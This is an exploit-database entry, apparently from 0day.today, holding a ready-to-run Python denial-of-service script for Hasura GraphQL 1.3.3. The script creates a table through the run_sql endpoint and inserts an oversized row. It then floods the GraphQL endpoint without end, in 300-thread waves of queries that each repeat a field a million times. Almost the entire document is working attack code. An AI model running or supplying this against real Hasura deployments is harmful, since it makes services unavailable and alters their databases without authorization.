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Hasura GraphQL 1.3.3 - Denial of Service Exploit
[# Exploit Title: Hasura GraphQL 1.3.3 - Denial of Service
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Author: Dolev Farhi
# Tested on: Ubuntu
import sys
import requests
import threading
HASURA_SCHEME = 'http'
HASURA_HOST = '192.168.1.1'
HASURA_PORT = 80
THREADS = 300
def create_table():
data = {"type":"bulk","args":[{"type":"run_sql","args":{"sql":"CREATE TABLE \"public\".\"test_db\"(\"test\" text NOT NULL, PRIMARY KEY (\"test\") );","cascade":False,"read_only":False}},{"type":"add_existing_table_or_view","args":{"name":"test_db","schema":"public"}}]}
endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
r = requests.post(endpoint, json=data)
return r
def insert_row():
bomb = 'A' * 100000
data = {"type":"insert","args":{"table":{"name":"test_db","schema":"public"},"objects":[{"test":bomb}],"returning":[]}}
endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
r = requests.post(endpoint, json=data)
return r
def DoS():
dups = 'test \n ' * 1000000
data = {'query': 'query { test_db { ' + dups + '} }'}
endpoint = '{}://{}:{}/v1/graphql'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
r = requests.post(endpoint, json=data)
return r
if not create_table().ok:
print('something went wrong, could not create table.')
sys.exit(1)
if not insert_row().ok:
print('something went wrong, could not insert row')
sys.exit(1)
while True:
for _ in range(THREADS):
print('Starting')
t = threading.Thread(target=DoS, args=())
t.start()
# 0day.today [2024-11-15] #